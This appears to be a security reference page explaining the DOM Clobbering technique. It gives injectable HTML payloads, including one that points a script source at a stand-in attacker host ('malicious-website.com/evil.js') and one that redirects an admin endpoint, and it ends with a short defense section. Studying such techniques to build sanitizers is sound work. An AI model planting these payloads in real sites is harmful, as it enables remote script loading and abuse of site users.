Skip to content
DOM Clobbering

DOM Clobbering

DOM Clobbering is an HTML-only injection technique: when you can inject markup but not run JavaScript (script tags and event handlers are filtered), named HTML elements can still override the global variables a legitimate script relies on.

The browser automatically exposes elements as properties of document and window through their id and name attributes (named property access). By injecting elements with chosen names, you replace an object the application expects with one pointing at attacker-controlled values. It is the go-to technique against an HTML sanitizer that allows tags and attributes but strips scripts.

How it works

  • An element with id=x is reachable as window.x (and as a bare x reference).
  • name behaves the same on elements like <a>, <form>, <img>, <iframe>.
  • Two elements sharing the same id become an HTMLCollection, which lets you build nested properties.
  • A property accessed on a clobbered element resolves to the matching named child, and coercing an <a> or <area> to a string yields its href.

Payloads

To clobber a simple flag such as if (window.someObject) { ... }:

<a id=someObject>

To clobber a nested property like someObject.url and turn it into a string the application then uses (for example a script src):

<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>

The first <a> makes someObject a collection, the second (name=url) becomes someObject.url, and reading it as a string returns the href. The same pattern clobbers a config object such as adminConfig.endpoint:

<a id=adminConfig><a id=adminConfig name=endpoint href=/api/admin/boost>

Forms give a clean two-level clobber as well:

<form id=x><input name=y value=z></form>   <!-- x.y is the input, x.y.value is "z" -->

Defense

Sanitizers such as DOMPurify block known clobbering vectors, and application code should not trust global or document property lookups for security decisions (use local variables and explicit checks instead).